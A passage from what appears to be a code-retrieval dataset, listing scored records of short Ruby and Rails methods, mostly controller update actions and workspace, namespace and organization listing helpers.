\"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\", \"FreelancerRequestedPayoutEvent\"]} )\n\n when \"completed\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id).where( :\"events._type\" => { \"$in\" => [\"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\"] } )\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id).where( :\"events._type\" => { \"$in\" => [\"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\"] } )\n task_workspace = TaskWorkspace.any_in(task_order_id: task_orders_id).where( :\"events._type\" => { \"$in\" => [\"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\"] } )\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id).where( :\"events._type\" => { \"$in\" => [\"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\"] } )\n \n when \"cancelled\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id).where(:\"events._type\" => \"AdminCanceledEvent\")\n task_workspace = TaskWorkspace.any_in(task_order_id: task_orders_id).where(:\"events._type\" => \"AdminCanceledEvent\")\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id).where(:\"events._type\" => \"AdminCanceledEvent\")\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id).where(:\"events._type\" => \"AdminCanceledEvent\")\n \n when \"refunded\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id).where(:\"events._type\" => \"AdminRefundedEvent\")\n task_workspace = TaskWorkspace.any_in(task_order_id: task_orders_id).where(:\"events._type\" => \"AdminRefundedEvent\")\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id).where(:\"events._type\" => \"AdminRefundedEvent\")\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id).where(:\"events._type\" => \"AdminRefundedEvent\")\n end\n\n case params[:type]\n when \"all\"\n job_workspace + service_workspace + package_workspace + task_workspace\n when \"job\"\n job_workspace.created_at_desc\n when \"service\"\n service_workspace.created_at_desc\n when \"package\"\n package_workspace.created_at_desc\n when \"task\"\n task_workspace.created_at_desc\n end\n end", "title": "" }, { "docid": "30a91e1227579c47bb5e9a094b540207", "score": "0.54178727", "text": "def namespaces\n result = []\n each_instance( \"root/interop\", \"CIM_Namespace\" ) do |inst|\n result << inst.Name\n end\n result.uniq\n end", "title": "" }, { "docid": "9e789ee93be18b561b253f8e06f0b819", "score": "0.5416564", "text": "def managed_working_groups circle\n if can?(:manage, circle)\n circle.working_groups\n else\n circle.working_groups.select{|wg| can?(:manage, wg)}\n end\n end", "title": "" }, { "docid": "061e3a0ee90cf96a5df908822b00512c", "score": "0.5412525", "text": "def workspace\n @default_options.fetch(:workspace, nil)\n end", "title": "" }, { "docid": "b4d8b0ceab8e1bd2dac66032a08c6565", "score": "0.5377777", "text": "def available_projects_list\n uri = \"#{@api_url}?access_token=#{@access_token}\"\n get uri\n end", "title": "" }, { "docid": "4333ae2bc01d18546427bcb2d4540328", "score": "0.53711265", "text": "def orgs\n @orgs ||= begin\n client.organizations.map(&:login)\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n []\n end\n end", "title": "" }, { "docid": "580b2c97064c75140efac6fdd23d1541", "score": "0.5367446", "text": "def get_coverage_stores workspace = nil\n ws = workspace.nil?? get_workspaces : [get_workspace(workspace)]\n cs = []\n ws.each{ |w| cs += w.coverage_stores if w.coverage_stores }\n cs\n end", "title": "" }, { "docid": "f118c367f29d1608bc7e966ecdfee466", "score": "0.53338605", "text": "def orgs\n client.organizations\n end", "title": "" }, { "docid": "707f866315e5029262138249a65d5b39", "score": "0.53307104", "text": "def managed_organizations\n if has_role?(:org_admin)\n org_ids = roles.where(name: Role::NAMES[:org_admin]).first.ref_ids\n Organization.in(id: org_ids)\n else\n []\n end\n end", "title": "" }, { "docid": "1f481ce8ba4ce2d039d51fc16c440323", "score": "0.53165495", "text": "def read_spaces(org_guid)\n spaces_list = []\n spaces = @client.organization(org_guid).spaces\n\n spaces.each do |space|\n spaces_list << Library::Spaces::Space.new(space.name, 0, space.apps.count, space.service_instances.count, space.guid)\n end\n\n spaces_list\n end", "title": "" }, { "docid": "5d2a1893e8c1b0491eb9205a8244452e", "score": "0.5314831", "text": "def all_works\n [ScannedResource, ScannedMap, RasterResource, VectorResource, Numismatics::Issue, Playlist]\n end", "title": "" }, { "docid": "96fd47d1bcb343caed9203a0ac4c4e42", "score": "0.5297596", "text": "def available_node_list\n all_nodes = Node.by_name\n return all_nodes.select {|node| node.status == \"RUNNING\"}\n end", "title": "" }, { "docid": "97caf8de629f0e52b458eea82365227e", "score": "0.52544683", "text": "def public_workspace\n Figgy.config[\"geoserver\"][\"open\"][\"workspace\"]\n end", "title": "" }, { "docid": "f083c777b7b8cdb10d117797c19f3f26", "score": "0.52513117", "text": "def namespaces\n warn \"DEPRECATED: this is no longer supported by LDAP. This method will always return an empty Array\"\n []\n end", "title": "" }, { "docid": "6936d3518c32b0f78727791163a62cc4", "score": "0.5235728", "text": "def get_org_projects\n unless organization.nil?\n client.org_projects(organization)\n end\n end", "title": "" }, { "docid": "4056ff48b80ee5090161a5cda18e16d5", "score": "0.52254105", "text": "def windows\n IITWindowCollection.new(@ole.Windows)\n end", "title": "" }, { "docid": "57535a7f667967f9ce0d305ed6f466d3", "score": "0.5202021", "text": "def operating_systems\n collect\n end", "title": "" }, { "docid": "2d00a4158284a247732fac4b11cfcb6e", "score": "0.51956356", "text": "def get_opsworks_layers\n data = opsworks_client.describe_layers(stack_id: opsworks_app[:stack_id])\n layers = {}\n data.layers.each do |layer|\n layers[layer.name] = layer\n end\n layers\n end", "title": "" }, { "docid": "93b2abfe8ed6115b6266c77021d8c3f7", "score": "0.5176486", "text": "def queues\n world_config.queues\n end", "title": "" }, { "docid": "552e69237c15834ee1aa15ebe7106d02", "score": "0.5169605", "text": "def workspace_info\n @dir + WORKSPACE_INFO_FILENAME\n end", "title": "" }, { "docid": "b1d311c10ae1aa9f5bdcc6abeaac1e72", "score": "0.5162336", "text": "def index\n @office_spaces = OfficeSpace.all\n end", "title": "" }, { "docid": "f351bec09b4c72a55d203ffd14439810", "score": "0.5158437", "text": "def rpc_current_workspace\n db_check\n { \"workspace\" => self.framework.db.workspace.name, \"workspace_id\" => self.framework.db.workspace.id }\n end", "title": "" }, { "docid": "24b6e6009ff55c55d22720b4d937c321", "score": "0.51499516", "text": "def workspace_info\n link_to_workspace_info(\"http://library.nyu.edu/info/myworkspace.html\", \"left\")\n end", "title": "" }, { "docid": "536a5ad30884c9e354704125d56b4b4e", "score": "0.5144916", "text": "def implied_environments\n []\n end", "title": "" }, { "docid": "b96e19260b8f464e2ed1ee6bf2aa49e4", "score": "0.51429325", "text": "def work_packages\n respond_to?(:procedureHasWorkPackage) ? procedureHasWorkPackage : []\n end", "title": "" }, { "docid": "8113033f9b424465fb63032118d260e0", "score": "0.5140767", "text": "def current_workspace\n get_ws = Proc.new do\n params['workspace_id'] ? \n Workspace.find(params['workspace_id'].to_i) : current_user.private_workspace\n end\n \n if @workspace\n # Hack: Workspace may be \"Workspace.new\"\n return @workspace if @workspace.id\n return get_ws.call\n end\n return @current_object if @current_object && @current_object.class == Workspace\n @workspace = get_ws.call\n end", "title": "" }, { "docid": "f0eb1510fb5774f8af35a202cbc2569d", "score": "0.51365554", "text": "def platforms\n get(\"project/platforms\")[\"platforms\"]\n end", "title": "" }, { "docid": "2332fdc885812d2b44f3b2b1d480b642", "score": "0.5133902", "text": "def get_namespaces\n raise NotImplementedError\n end", "title": "" }, { "docid": "fac15e2b6a6d574263241b9f61a71a77", "score": "0.5116315", "text": "def listNodes\n nodes = []\n me = MU::Cloud::AWS::ServerPool.find(cloud_id: cloud_id).values.first\n if me and me.instances\n me.instances.each { |instance|\n found = MU::MommaCat.findStray(\"AWS\", \"server\", cloud_id: instance.instance_id, region: @region, dummy_ok: true)\n nodes.concat(found)\n }\n end\n nodes\n end", "title": "" }, { "docid": "9f85d6adb62602752e2ede2cdb50447b", "score": "0.510166", "text": "def orgs\n @orgs ||= ENV[\"GITHUB_ORGS\"].split(/, ?/).map { |o| Organization.new(o) }\n end", "title": "" }, { "docid": "9d3c367f574026db825c7835a9c03344", "score": "0.50958973", "text": "def environments\n Environment.list\n end", "title": "" }, { "docid": "caccc7ce1881a051d5b4edd69ee3fa06", "score": "0.5093622", "text": "def all_servers\n Infrataster::Server.defined_servers.map { |i| server(i.name) }\nend", "title": "" }, { "docid": "2fd1064b1f453c2907575dc24179486a", "score": "0.50935477", "text": "def workspace_show(parameters = {}, invocation_options = {})\n exec(RubyTerraform::Commands::WorkspaceShow,\n parameters, invocation_options)\n end", "title": "" }, { "docid": "b27cd8b3c382b1731cfe0233b88c2055", "score": "0.50868964", "text": "def list\n ridley.environment.all\n end", "title": "" }, { "docid": "72783d2dca3786ee83ecbe6066539ce8", "score": "0.50723577", "text": "def schemas\n sql = \"SELECT nspname FROM pg_namespace WHERE nspname !~ '^pg_.*'\"\n ActiveRecord::Base.connection.query(sql).flatten\n end", "title": "" }, { "docid": "69cb20b0518ccec59cc17ca828d16b8e", "score": "0.5071904", "text": "def available_schemas\n load_schemas.transform_values(&:description).to_a\n end", "title": "" }, { "docid": "06b3ffade86c56e231e97d01adf779d4", "score": "0.50703305", "text": "def connected_organizations\n return @connected_organizations\n end", "title": "" }, { "docid": "54eee18d39213132c1af406680809b39", "score": "0.5062163", "text": "def index\n @aws_platforms = AwsPlatform.all\n end", "title": "" }, { "docid": "a507318bcf530f17958a2173e5cdd2f6", "score": "0.50579345", "text": "def guilds\n @obj['guilds']\n end", "title": "" }, { "docid": "7545102e47b6d833ba3f54a50bb89f27", "score": "0.50498015", "text": "def platforms\n return @platforms\n end", "title": "" }, { "docid": "3c177916a9ad18b55b361c0feae7a6d4", "score": "0.50410974", "text": "def platforms; platform_names; end", "title": "" }, { "docid": "e1883839cf61edd6637caed7c68e8449", "score": "0.503266", "text": "def occupied_spaces\n objects = []\n grid_iterator.each do |cell|\n objects << cell unless cell.nil?\n end\n objects\n end", "title": "" }, { "docid": "0a6ed79d1245fe2786ccda0b69186127", "score": "0.50313485", "text": "def all_schemas\n query('SELECT schema_name FROM information_schema.schemata').flatten\n end", "title": "" }, { "docid": "5a38e3492a3208cdd2a98b2718c9ba8c", "score": "0.50296164", "text": "def index\n @namespaces = Namespace.all\n end", "title": "" }, { "docid": "5a38e3492a3208cdd2a98b2718c9ba8c", "score": "0.50296164", "text": "def index\n @namespaces = Namespace.all\n end", "title": "" }, { "docid": "7ebfcccbba88f045f146a2b570b09616", "score": "0.5027656", "text": "def get_widgets_list\n dataset_array = []\n @site.contexts.each {|c| c.context_datasets.each {|d| dataset_array << d.dataset_id}}\n dataset_array.uniq!\n widgets = WidgetService.from_datasets dataset_array\n widgets.map do |w|\n { id: w.id, name: w.name,\n visualization: w.widget_config, description: w.description }\n end\n end", "title": "" }, { "docid": "0963b104fe173334d9dcd223e17593b6", "score": "0.50257504", "text": "def name_servers\n Array(@gapi.name_servers)\n end", "title": "" }, { "docid": "3b14123199456065af37a0c660338501", "score": "0.5025542", "text": "def get_layers options = {}, &block\n response = self.search :layers => nil\n doc = Nokogiri::XML(response)\n workspace_name = Workspace === options[:workspace] ? options[:workspace].name : options[:workspace]\n layer_nodes = doc.xpath(Layer.root_xpath).collect{|l| l.text.to_s }\n layers = list(Layer, layer_nodes, {}, &block)\n layers = layers.find_all { |layer| layer.workspace.name == workspace_name } if options[:workspace]\n layers\n end", "title": "" }, { "docid": "71cdd04c727f9cc69f9708bc712889ef", "score": "0.50170594", "text": "def servergroups\n return @resource[:servergroups] unless @resource[:runasdomain]\n return @servergroups unless @servergroups.nil?\n state = execute(\"deployment-info --name=#{@resource[:name]}\")\n return [] unless state.success?\n @servergroups = read_groups_from_output(state.output)\n end", "title": "" }, { "docid": "549cf8a77ba2a6e32f196b3023b471cb", "score": "0.5016719", "text": "def knowledge_bases\n KnowledgeBase.all(self)\n end", "title": "" }, { "docid": "3659064ef56cb67016c6685445be4217", "score": "0.50157905", "text": "def all\n inactive + active\n rescue Exception::LibvirtError\n # If inactive isn't supported, then we just return the active\n # storage pools.\n active\n end", "title": "" }, { "docid": "9552c8c820b5ef709aefbf820269918b", "score": "0.4999841", "text": "def work_types\n Hyrax.config.curation_concerns\n end", "title": "" }, { "docid": "c313a3c0657d481726eede8aa959ebd1", "score": "0.49969324", "text": "def vulns(wspace=workspace)\n\t\twspace.vulns\n\tend", "title": "" }, { "docid": "de65c1e521fd29193669276a0a319f5e", "score": "0.4989947", "text": "def servers\n @servers.select { |server| server.operable? }\n end", "title": "" }, { "docid": "ef7427fed08eea78484aef95fac85610", "score": "0.49863112", "text": "def workload_networks\n network_config.get_networks(\"PUBLIC_LAN\", \"PRIVATE_LAN\") || []\n end", "title": "" }, { "docid": "83e266f9529d81180791dc0e785d0acf", "score": "0.4985161", "text": "def get_list\n @list_of_repos\n end", "title": "" }, { "docid": "e46caccdc09bb47d75098826a5e1b2b0", "score": "0.4980775", "text": "def resource_groups\n @client.resource_groups.list\n end", "title": "" }, { "docid": "05c555f82c335a23cae802fae594033d", "score": "0.4979015", "text": "def get_containers\n init_folder unless @init # have I been initialized?\n return @containers \n end", "title": "" }, { "docid": "416a7de032f12d8aab267502d2dcd75f", "score": "0.49695906", "text": "def namespace_names\n @namespaces.map(&:name)\n end", "title": "" }, { "docid": "c0e89b8983c73cd4e399416b645bcda9", "score": "0.49648422", "text": "def index\n \n @workspaces = current_user.workspaces\n # debugger\n @projects = Project.where(:workspace_id => @workspace)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "da3aa17e877c3bc2fe3e44df1d7f2df7", "score": "0.4964614", "text": "def list\n Rugged::Branch.each_name(@git, :local).to_a\n end", "title": "" }, { "docid": "3bbeafdcdb7e8017d62221bd080ea830", "score": "0.4957541", "text": "def get_registered_workers\n @registered_workers\n end", "title": "" }, { "docid": "92fe77f4231460f7def0977ccb019211", "score": "0.49492082", "text": "def index\n @hcao_namespaces = HcaoNamespace.all\n end", "title": "" }, { "docid": "7f0970bcd22bff67e35a5f476a7829d6", "score": "0.4945603", "text": "def available_infrastructure_networks\n return nil unless infrastructure_networks\n @available_infrastructure_networks ||= infrastructure_networks.clone\n end", "title": "" } ]
1119597463175b207cee12311a4d2750
PUT /enterprises/1 PUT /enterprises/1.xml
[ { "docid": "b44d277a217ec640c9ad924f23aa27ab", "score": "0.5739031", "text": "def update\n @enterprise = Enterprise.find(params[:id])\n\n respond_to do |format|\n if @enterprise.update_attributes(params[:enterprise])\n format.html { redirect_to(@enterprise, :notice => 'Enterprise was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @enterprise.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "353899a2c1a81988cc6ff4f929770e66", "score": "0.57697815", "text": "def update\n @prikey = Prikey.find(params[:id])\n\n respond_to do |format|\n if @prikey.update_attributes(params[:prikey])\n format.html { redirect_to(@prikey, :notice => 'Prikey was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @prikey.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99d24a74bc96db3bd84b0451ef3afb5f", "score": "0.56792414", "text": "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "title": "" }, { "docid": "e2e55a6ecb4c00b7fe18a670cc021207", "score": "0.5612954", "text": "def put_entry(id,summary)\n xml = <<DATA\n <entry xmlns=\"http://purl.org/atom/ns#\">\n <summary type=\"text/plain\"></summary>\n </entry>\nDATA\n\n doc = REXML::Document.new(xml)\n doc.elements['/entry/summary'].add_text(summary)\n\n # REXML -> String\n data=String.new\n doc.write(data)\n\n #make request\n path=\"/atom/edit/#{id}\"\n req=Net::HTTP::Put.new(path)\n req['Accept']= 'application/x.atom+xml,application/xml,text/xml,*/*',\n req['X-WSSE']= @credential_string\n\n #YHAAAA!!!\n res = @http.request(req,data)\n return res\n end", "title": "" }, { "docid": "56347b4dd2235a851567355bbc8fecd9", "score": "0.55019444", "text": "def update\n @enterprise = Enterprise.find(params[:id])\n\n respond_to do |format|\n if @enterprise.update_attributes(params[:enterprise])\n flash[:notice] = 'Empresa atualizada.'\n format.html { redirect_to(@enterprise) }\n format.xml { head :ok }\n else\n default_data\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @enterprise.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42284e1151c97a5dad37a0feb7f32869", "score": "0.5391042", "text": "def update\n @exame = Exame.find(params[:id])\n\n respond_to do |format|\n if @exame.update_attributes(params[:exame])\n flash[:notice] = 'Exame was successfully updated.'\n format.html { redirect_to(@exame) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @exame.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "94126e673a60d0bcf0500518ac2d2e31", "score": "0.53866845", "text": "def update_authorship!(saving=false)\n url = \"https://#{Settings::ARXIV_HOST}/a/#{author_identifier}.atom2\"\n doc = Nokogiri(open(url))\n doc.css('entry id').each do |el|\n uid = el.text.match(/arxiv.org\\/abs\\/(.+)/)[1]\n uid = Arxiv.strip_version(uid)\n unless authorships.where(paper_uid: uid).exists?\n logger.info \"New paper published by #{username}: arxiv/#{uid}\".light_green\n authorships.create(paper_uid: uid)\n end\n end\n\n self.papers_count = Authorship.where(user_id: id).count\n self.save! unless saving\n end", "title": "" }, { "docid": "4bb3d2727549808f620442529c3b9fa8", "score": "0.5386311", "text": "def update\n @competence_node = CompetenceNode.find(params[:id])\n\n respond_to do |format|\n if @competence_node.update_attributes(params[:competence_node])\n flash[:notice] = t('competencenode_updated_success')\n format.html { redirect_to(@competence_node) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @competence_node.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dcebdacde2e8c4d19419d0590440b841", "score": "0.53796405", "text": "def test_AAH_put\n Help.empty\n rdf = Help.handle\n rdf.post( \"http://jackrdf/test/urn/1\", Help.root( \"sample/cite/urn_02.json\" ))\n rdf.put( \"http://jackrdf/test/urn/1\", Help.root( \"sample/cite/urn_03.json\" ))\n assert( true )\n end", "title": "" }, { "docid": "ca6a5c7aa3b47a8d70cc2033355f4286", "score": "0.5353126", "text": "def update\n @eleitor = Eleitor.find(params[:id])\n\n respond_to do |format|\n if @eleitor.update_attributes(params[:eleitor])\n flash[:notice] = 'Eleitor was successfully updated.'\n format.html { redirect_to(@eleitor) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @eleitor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c9208c71d4a3cf2f23eaf53b103ed5a7", "score": "0.5343147", "text": "def update\n @seal = Seal.find(params[:id])\n\n respond_to do |format|\n if @seal.update_attributes(params[:seal])\n format.html { redirect_to(@seal, :notice => 'Seal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @seal.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34ad4bf900a0586e04c31a2c9e33afc1", "score": "0.53360623", "text": "def update\n @equivalencia = Equivalencia.find(params[:id])\n\n respond_to do |format|\n if @equivalencia.update_attributes(params[:equivalencia])\n format.html { redirect_to(@equivalencia, :notice => 'Equivalencia was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @equivalencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "773870ced075d3262b79e6466f08fce0", "score": "0.5335517", "text": "def update\n @junior_enterprise = JuniorEnterprise.find(params[:id])\n\n if @junior_enterprise.update(junior_enterprise_params)\n head :no_content\n else\n render json: @junior_enterprise.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4b7c119f576924d8073a2eef72f14625", "score": "0.5311201", "text": "def update\n @sexo = Sexo.find(params[:id])\n\n respond_to do |format|\n if @sexo.update_attributes(params[:sexo])\n flash[:notice] = 'Sexo was successfully updated.'\n format.html { redirect_to(@sexo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sexo.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13de6464eab84efc9b95e3cc308f4fb7", "score": "0.5296257", "text": "def update\n @provenance = Provenance.find(params[:id])\n\n respond_to do |format|\n if @provenance.update_attributes(params[:provenance])\n format.html { redirect_to(@provenance, :notice => 'Provenance was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provenance.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1929d84f5d708d47d89d944d944fd760", "score": "0.5284349", "text": "def update\n @oven = Oven.find(params[:id])\n\n respond_to do |format|\n if @oven.update_attributes(params[:oven])\n flash[:notice] = 'Oven was successfully updated.'\n format.html { redirect_to(@oven) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @oven.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4029c783be0ce2754ff1516aa71cd29", "score": "0.5278981", "text": "def update\n @amazon = Amazon.find(params[:id])\n\n respond_to do |format|\n if @amazon.update_attributes(params[:amazon])\n format.html { redirect_to(@amazon, :notice => 'Amazon was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @amazon.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da09e113d913129dfe7bd96308c34c4c", "score": "0.5276334", "text": "def update\n @incentive = current_company.incentives.find(params[:id])\n\n respond_to do |format|\n if @incentive.update_attributes(params[:incentive])\n format.html { redirect_to(incentives_path, :notice => 'Your incentive has been updated') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @incentive.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88ada187952c3b30a2098b06b83c7d55", "score": "0.52729714", "text": "def update\n @entree = Entree.find(params[:id])\n\n respond_to do |format|\n if @entree.update_attributes(params[:entree])\n flash[:notice] = 'Entree was successfully updated.'\n format.html { redirect_to(@entree) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entree.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab8b75940a5bc07258eb580839a35cf0", "score": "0.52643806", "text": "def update\n @bookshelf = Bookshelf.find(params[:id])\n\n respond_to do |format|\n if @bookshelf.update_attributes(params[:bookshelf])\n format.html { redirect_to(@bookshelf, :notice => 'Bookshelf was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bookshelf.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43b698259778a9a9b2937e3060f80e1e", "score": "0.5262542", "text": "def update\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n if @verse.update_attributes(params[:verse])\n flash[:notice] = 'Verse was successfully updated.'\n format.html { redirect_to(@verse) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @verse.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1cc707113f3c5fd4b3732a560ee63c60", "score": "0.52521795", "text": "def update\n @expence = Expence.find(params[:id])\n\n respond_to do |format|\n if @expence.update_attributes(params[:expence])\n format.html { redirect_to @expence, notice: 'Expence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expence.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "032475a0569c0690b07c04af5a85bb45", "score": "0.52521217", "text": "def update\n @enclave = Enclave.find(params[:id])\n\n respond_to do |format|\n if @enclave.update_attributes(params[:enclave])\n format.html { redirect_to(@enclave, :notice => 'Enclave was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @enclave.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4905dcc90d222e149baae27f543c3fa6", "score": "0.5250483", "text": "def upsert()\n self.class.post('upsert', {}, self.to_xml())\n end", "title": "" }, { "docid": "c47c22d622b9adaa2197095e936af0af", "score": "0.52502537", "text": "def update\n @invent = Invent.find(params[:id])\n\n respond_to do |format|\n if @invent.update_attributes(params[:invent])\n flash[:notice] = 'Invent was successfully updated.'\n format.html { redirect_to(@invent) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invent.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a48b3229e830876ae619b936301400b2", "score": "0.5218426", "text": "def put(url, xml, version = nil)\n req = Net::HTTP::Put.new(url)\n req.content_type = 'application/x-ssds+xml'\n \n if(!version.nil?)\n req['if-match'] = version;\n end\n \n req.content_length = xml.to_s.size.to_s\n req.basic_auth @username, @password\n req.body = xml.to_s\n execute_request(req)\n end", "title": "" }, { "docid": "17b9933a570c426fa3d097397379c5fe", "score": "0.5215887", "text": "def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n flash[:notice] = 'Interest was successfully updated.'\n format.html { redirect_to(@interest) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f411fa80f125d4a02eb15607ce04a955", "score": "0.5209341", "text": "def update\n @income = Income.find(params[:id])\n\n respond_to do |format|\n if @income.update_attributes(params[:income])\n format.html { redirect_to(@income, :notice => 'Income was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @income.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f411fa80f125d4a02eb15607ce04a955", "score": "0.5209341", "text": "def update\n @income = Income.find(params[:id])\n\n respond_to do |format|\n if @income.update_attributes(params[:income])\n format.html { redirect_to(@income, :notice => 'Income was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @income.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "28fc295550a0c95a2c8259689cb4923c", "score": "0.52069193", "text": "def index\n @enterprises = Enterprise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @enterprises }\n end\n end", "title": "" }, { "docid": "b44b4054c2b19318157f850aeef2123e", "score": "0.52049696", "text": "def update\n @appropriation = Appropriation.find(params[:id])\n\n respond_to do |format|\n if @appropriation.update_attributes(params[:appropriation])\n format.html { redirect_to(@appropriation, :notice => 'Appropriation was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @appropriation.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f6018bfebe02fd19d8e4c850bb2ef58f", "score": "0.5201097", "text": "def test_changeset_update_invalid\n basic_authorization create(:user).email, \"test\"\n\n changeset = create(:changeset)\n new_changeset = changeset.to_xml\n new_tag = XML::Node.new \"tag\"\n new_tag[\"k\"] = \"testing\"\n new_tag[\"v\"] = \"testing\"\n new_changeset.find(\"//osm/changeset\").first << new_tag\n\n content new_changeset\n put :update, :params => { :id => changeset.id }\n assert_response :conflict\n end", "title": "" }, { "docid": "94b52900d7ff49982d96ce6e48bc1808", "score": "0.5200576", "text": "def update\n @ontology = SYMPH::Ontology.find(params[:id])\n\n respond_to do |format|\n if @ontology.update_attributes(params[:ontology])\n flash[:notice] = 'Ontology was successfully updated.'\n format.html { redirect_to(ontologies_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ontology.errors, :status => :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "0a4f185505137d91582199125f39de46", "score": "0.519873", "text": "def update\n @escalation = Escalation.find(params[:id])\n\n respond_to do |format|\n if @escalation.update_attributes(params[:escalation])\n flash[:notice] = 'Escalation was successfully updated.'\n format.html { redirect_to(@escalation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @escalation.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af64dca582fcca793f20583ba2c74a05", "score": "0.5195506", "text": "def update\n \n @proofs = Proof.find(params[:id])\n\n respond_to do |format|\n if @proofs.update_attributes(params[:proof])\n flash[:notice] = 'Proofs was successfully updated.'\n format.html { redirect_to(@proofs) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @proofs.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33e46cccbb952fd0f4783d48f3133575", "score": "0.51920027", "text": "def update\n @ensemble = Ensemble.find(params[:id])\n\n respond_to do |format|\n if @ensemble.update_attributes(params[:ensemble])\n format.html { redirect_to(@ensemble, :notice => 'Ensemble was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ensemble.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63926c3533fc5c1c54ab21762c7b3076", 